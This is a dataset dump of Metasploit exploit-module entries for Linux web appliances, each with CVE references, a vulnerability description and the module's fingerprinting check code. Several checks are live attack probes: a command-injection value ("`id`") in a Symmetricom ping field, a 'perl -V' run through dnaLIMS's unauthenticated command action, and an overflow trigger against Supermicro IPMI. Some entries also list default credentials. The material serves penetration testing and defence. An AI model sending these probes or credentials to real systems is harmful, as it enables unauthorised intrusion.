deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)
Type: exploit
Path: modules/exploits/linux/http/cisco_hyperflex_file_upload_rce.rb
Platform: java
Disclosure date: 2021-05-05
References: CVE-2021-1499, URL-https://attackerkb.com/assessments/82[PII_REDACTED]-4aba-990a-9ea007b05834
Targets: Java Dropper, Linux Dropper

Description:
This module exploits an unauthenticated file upload vulnerability in
          Cisco HyperFlex HX Data Platform's /upload endpoint to upload and
          execute a payload as the Tomcat user.

Check method (fingerprinting):
# The homepage behind SSL indicates whether the endpoint is running Cisco HyperFlex
    # Installer:         <title>Hyperflex Installer</title>
    # Installed Product: <title>Cisco HyperFlex Connect</title>
    # Both the installer and installed product are vulnerable
    res_ssl = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'rport' => 443,
      'SSL' => true
    )
    unless res_ssl && res_ssl.body[%r{<title>(?:Hyperflex Installer|Cisco HyperFlex Connect)</title>}]
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # The vulnerability, however, lies on the HTTP endpoint /upload.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'upload')
    )
    if res && res.code == 400 && res.body.include?('Apache Tomcat') && res.headers['Server'] && res.headers['Server'].include?('nginx')
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    elsif res && res.code == 404
      return CheckCode::Safe('The target is not vulnerable')
    end

    CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Pandora FMS Default Credential / SQLi Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/pandora_fms_sqli.rb
Platform: php
Disclosure date: 2014-02-01
References: CVE-2014-125115, URL-http://pandorafms.com/downloads/whats_new_5-SP3.pdf, URL-http://blog.pandorafms.org/?p=2041

Description:
This module attempts to exploit multiple issues in order to gain remote
          code execution under Pandora FMS version <= 5.0 SP2.  First, an attempt
          to authenticate using default credentials is performed.  If this method
          fails, a SQL injection vulnerability is leveraged in order to extract
          the "Auto Login" password hash.  If this value is not set, the module
          will then extract the administrator account's MD5 password hash.

Check method (fingerprinting):
vprint_status("Trying to detect installed version")

    version = nil
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php')
    })

    if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
      if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
        version = $1
      else
        return Exploit::CheckCode::Detected('Pandora FMS detected, but the version could not be determined')
      end
    end

    unless version.nil?
      vprint_status("Pandora FMS #{version} found")
      if Rex::Version.new(version) <= Rex::Version.new('5.0SP2')
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      end
    end

    return Exploit::CheckCode::Safe('Pandora FMS was not detected') if version.nil?

    Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end

  # Attempt to login with credentials (default admin:pandora)
Metasploit Module: Symmetricom SyncServer Unauthenticated Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Platform: linux
Disclosure date: 2022-08-31
References: CVE-2022-40022, URL-https://nvd.nist.gov/vuln/detail/CVE-2022-40022

Description:
This module exploits an unauthenticated command injection vulnerability in /controller/ping.php.
          The S100 through S350 (End of Life) models should be vulnerable to
          unauthenticated exploitation due to a session handling vulnerability.
          Later models require authentication which is not provided in this module because we can't test it.
          The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022).
          Run 'check' first to determine if vulnerable.
          The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT
          and LPORT while testing this module.

Check method (fingerprinting):
uri = '/controller/ping.php'
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' =>
          {
            'currentTab' => 'ping',
            'refreshMode' => 'dirty',
            'ethDirty' => 'false',
            'snmpCfgDirty' => 'false',
            'snmpTrapDirty' => 'false',
            'pingDirty' => 'true',
            'hostname' => "\`id\`",
            'port' => 'eth0',
            'pingType' => 'ping'
          }
    })
    if res && res.body.to_s =~ /uid=0/
      Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Supermicro Onboard IPMI close_window.cgi Buffer Overflow
Type: exploit
Path: modules/exploits/linux/http/smt_ipmi_close_window_bof.rb
Platform: unix
Disclosure date: 2013-11-06
References: CVE-2013-3623, URL-https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities

Description:
This module exploits a buffer overflow on the Supermicro Onboard IPMI controller web
          interface. The vulnerability exists on the close_window.cgi CGI application, and is due
          to the insecure usage of strcpy. In order to get a session, the module will execute
          system() from libc with an arbitrary CMD payload sent on the User-Agent header. This
          module has been tested successfully on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware
          SMT_X9_214.

Check method (fingerprinting):
safe_check = rand_text_alpha(20)
    trigger_check = rand_text_alpha(132)

    res = send_close_window_request(safe_check)

    unless res and res.code == 200 and res.body.to_s =~ /Can't find action/
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    res = send_close_window_request(trigger_check)

    unless res and res.code == 500
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    return Exploit::CheckCode::Appears('The target appears to be vulnerable')
  end
Metasploit Module: Palo Alto Networks Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/panos_op_cmd_exec.rb
Platform: linux
Disclosure date: 2020-09-09
References: CVE-2020-2038, URL-https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/, URL-https://security.paloaltonetworks.com/CVE-2020-2038, URL-https://github.com/und3sc0n0c1d0/CVE-2020-2038
Targets: Linux , Unix In-Memory

Description:
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
          administrators to execute arbitrary OS commands with root privileges.
          This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10

Check method (fingerprinting):
print_status('Authenticating...')
    begin
      @api_key = api_key
    rescue InvalidRequest, InvalidResponse => e
      return Exploit::CheckCode::Safe("Error retrieving API key: #{e.class}, #{e}")
    end
    res = send_request_cgi({
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'type' => 'version',
        'key' => @api_key
      }
    })

    return CheckCode::Unknown('The API did not respond to the request for the version of PAN_OS') unless res&.body

    version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text)

    if version >= Rex::Version.new('9.0.0') && version < Rex::Version.new('9.0.10') ||
       version >= Rex::Version.new('9.1.0') && version < Rex::Version.new('9.1.4') ||
       version >= Rex::Version.new('10.0.0') && version < Rex::Version.new('10.0.1')
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: D-Link DCS-931L File Upload
Type: exploit
Path: modules/exploits/linux/http/dlink_dcs931l_upload.rb
Platform: linux
Disclosure date: 2015-02-23
References: CVE-2015-2049, URL-https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities, URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049
Targets: Linux mipsle Payload

Description:
This module exploits a file upload vulnerability in D-Link DCS-931L
          network cameras. The setFileUpload functionality allows authenticated
          users to upload files to anywhere on the file system, allowing system
          files to be overwritten, resulting in execution of arbitrary commands.
          This module has been tested successfully on a D-Link DCS-931L with
          firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
          D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
          affected, but untested.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri('uploadfile.htm'),
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
    )

    unless res
      vprint_status("The connection timed out.")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.code && res.code == 404
      vprint_status("uploadfile.htm does not exist")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/
      vprint_error("Authentication failed")
      return Exploit::CheckCode::Detected('The target service was detected')
    elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end
    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Cisco UCS Director Cloupia Script RCE
Type: exploit
Path: modules/exploits/linux/http/cisco_ucs_cloupia_script_rce.rb
Platform: unix
Disclosure date: 2020-04-15
References: CVE-2020-3243, CVE-2020-3250, ZDI-20-540, ZDI-20-538, URL-https://srcincite.io/blog/2020/04/17/strike-three-symlinking-your-way-to-unauthenticated-access-against-cisco-ucs-director.html, URL-https://srcincite.io/pocs/src-2020-0014.py.txt
Targets: Unix Command, Linux Dropper

Description:
This module exploits an authentication bypass and directory traversals
          in Cisco UCS Director < 6.7.4.0 to leak the administrator's REST API
          key and execute a Cloupia script containing an arbitrary root command.

          Note that the primary functionality of this module is to leverage the
          Cloupia script interpreter to execute code. This functionality is part
          of the application's intended operation and considered a "foreverday."
          The authentication bypass and directory traversals only get us there.

          If you already have an API key, you may set it in the API_KEY option.
          The LEAK_FILE option may be set if you wish to leak the API key from a
          different absolute path, but normally this isn't advisable.

          Tested on Cisco's VMware distribution of 6.7.3.0.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/app/ui/login.jsp')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.body.include?('Cisco UCS Director')
      return CheckCode::Unknown('Target is not running Cisco UCS Director.')
    end

    CheckCode::Detected('Target is running Cisco UCS Director.')
  end
Metasploit Module: D-Link hedwig.cgi Buffer Overflow in Cookie Header
Type: exploit
Path: modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb
Platform: linux
Disclosure date: 2013-02-08
References: CVE-2013-7389, OSVDB-95950, EDB-27283, URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008, URL-http://web.archive.org/web/[PII_REDACTED]4138/http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000, URL-http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt

Description:
This module exploits an anonymous remote code execution vulnerability on several D-Link
          routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
          long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
          and the DIR645A1_FW103B11 firmware.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => "/hedwig.cgi",
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: WebCalendar 1.2.4 Pre-Auth Remote Code Injection
Type: exploit
Path: modules/exploits/linux/http/webcalendar_settings_exec.rb
Platform: %w{linux unix}
Disclosure date: 2012-04-23
References: CVE-2012-1495, OSVDB-81329, EDB-18775

Description:
This module exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
          less.  If not removed, the settings.php script meant for installation can be
          update by an attacker, and then inject code in it.  This allows arbitrary code
          execution as www-data.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_raw({
      'method' => 'GET',
      'uri' => "#{uri}/login.php"
    })

    if res and res.body =~ /WebCalendar v1\.2\.\d/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Netgear DGN2200B pppoe.cgi Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
Platform: unix
Disclosure date: 2013-02-15
References: CVE-2013-10060, BID-57998, EDB-24513, OSVDB-90320, URL-http://www.s3cur1ty.de/m1adv2013-015
Targets: CMD, Linux mipsbe Payload

Description:
Some Netgear Routers are vulnerable to an authenticated OS command injection
          on their web interface. Default credentials for the web interface are admin/admin
          or admin/password. Since it is a blind os command injection vulnerability, there
          is no output for the executed command when using the cmd generic payload. A ping
          command against a controlled system could be used for testing purposes. This module
          overwrites parts of the PPOE configuration, while the module tries to restore it
          after exploitation configuration backup is recommended.
Metasploit Module: Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection
Type: exploit
Path: modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb
Platform: ruby
Disclosure date: Jun 6 2013
Authors: Ramon de C Valle
References: CVE-2013-2121, OSVDB-94671, BID-60833, URL-https://bugzilla.redhat.com/show_bug.cgi?id=968166, URL-http://projects.theforeman.org/issues/2631

Description:
This module exploits a code injection vulnerability in the 'create'
        action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite
        (Foreman 1.2.0-RC1 and earlier).
Metasploit Module: dnaLIMS Admin Module Command Execution
Type: exploit
Path: modules/exploits/linux/http/dnalims_admin_exec.rb
Platform: %w(linux unix)
Disclosure date: 2017-03-08
References: CVE-2017-6526, US-CERT-VU-929263, URL-https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/

Description:
This module utilizes an administrative module which allows for
          command execution.  This page is completely unprotected from any
          authentication when given a POST request.

Check method (fingerprinting):
begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
        'method' => 'POST',
        'vars_post' => {
          'investigator' => '',
          'username' => '',
          'navUserName' => '',
          'Action' => 'executeCmd',
          'executeCmdData' => 'perl -V'
        }
      )
      if res && res.body
        if /Summary of/ =~ res.body
          Exploit::CheckCode::Vulnerable('The target is vulnerable')
        else
          Exploit::CheckCode::Safe('The target is not vulnerable')
        end
      else
        Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
Metasploit Module: SaltStack Salt API Unauthenticated RCE through wheel_async client
Type: exploit
Path: modules/exploits/linux/http/saltstack_salt_wheel_async_rce.rb
Platform: unix
Disclosure date: 2021-02-25
References: CVE-2021-25281, CVE-2021-25282, URL-https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/, URL-https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py
Targets: Unix Command, Linux Dropper

Description:
This module leverages an authentication bypass and directory
          traversal vulnerabilities in Saltstack Salt's REST API to execute
          commands remotely on the `master` as the root user.

          Every 60 seconds, `salt-master` service performs a maintenance
          process check that reloads and executes all the `grains` on the
          `master`, including custom grain modules in the Extension Module
          directory. So, this module simply creates a Python script at this
          location and waits for it to be executed. The time interval is set to
          60 seconds by default but can be changed in the `master`
          configuration file with the `loop_interval` option. Note that, if an
          administrator executes commands locally on the `master`, the
          maintenance process check will also be performed.

          It has been fixed in the following installation packages: 3002.5,
          3001.6 and 3000.8.

          Also, a patch is available for the following versions: 3002.2,
          3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,
          2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,
          2015.8.13 and 2015.8.10.

          This module has been tested successfully against versions 3001.4,
          3002 and 3002.2 on Ubuntu 18.04.

Check method (fingerprinting):
fun = 'config.values'
    res = send_request(fun: fun)

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Server: CherryPy/8.9.1
    unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
      return CheckCode::Unknown('Target does not appear to be running Salt API.')
    end

    if res.code == 200 && res.get_json_document['return']
      res_json = res.get_json_document['return'].first
      if res_json&.key?('tag') && res_json.key?('jid')
        return CheckCode::Detected('Salt API responded as expected.')
      end
    end

    CheckCode::Safe('Unexpected Salt API response')
  end
Metasploit Module: Nexus Repository Manager Java EL Injection RCE
Type: exploit
Path: modules/exploits/linux/http/nexus_repo_manager_el_injection.rb
Platform: linux
Disclosure date: 2020-03-31
References: CVE-2020-10199, URL-https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype, URL-https://support.sonatype.com/hc/en-us/articles/[PII_REDACTED]33-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

Description:
This module exploits a Java Expression Language (EL) injection in
          Nexus Repository Manager versions up to and including 3.21.1 to
          execute code as the Nexus user.

          This is a post-authentication vulnerability, so credentials are
          required to exploit the bug. Any user regardless of privilege level
          may be used.

          Tested against 3.21.1-01.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.headers['Server']
      return CheckCode::Unknown('Target did not respond with Server header.')
    end

    # Example Server header:
    # Server: Nexus/3.21.1-01 (OSS)
    version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

    unless version
      return CheckCode::Unknown('Target did not respond with Nexus version.')
    end

    if Rex::Version.new(version) <= Rex::Version.new('3.21.1')
      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
    end

    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end
Metasploit Module: Apache NiFi H2 Connection String Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/apache_nifi_h2_rce.rb
Platform: %w[unix
Disclosure date: 2023-06-12
References: CVE-2023-34468, URL-https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8, URL-https://issues.apache.org/jira/browse/NIFI-11653, URL-https://nifi.apache.org/security.html#1.22.0, URL-https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65, URL-http://www.h2database.com/html/features.html

Description:
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
          Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
          to configure a Database URL with the H2 driver that enables custom code execution.

          This exploit will result in several shells (5-7).
          Successfully tested against Apache nifi 1.17.0 through 1.21.0.

Check method (fingerprinting):
# see apache_nifi_processor_rce check method for details on why this is difficult

    @cleanup_required = false

    login_type = supports_login?

    return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil?

    if login_type
      @version = get_version
      return CheckCode::Unknown('Unable to determine Apache NiFi version') if @version.nil?

      if @version <= Rex::Version.new('1.21.0')
        return CheckCode::Appears("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")
      end

      CheckCode::Safe("Apache NiFi instance supports logins but non-vulnerable version detected: #{@version}")
    else
      CheckCode::Appears('Apache NiFi instance does not support logins')
    end
  end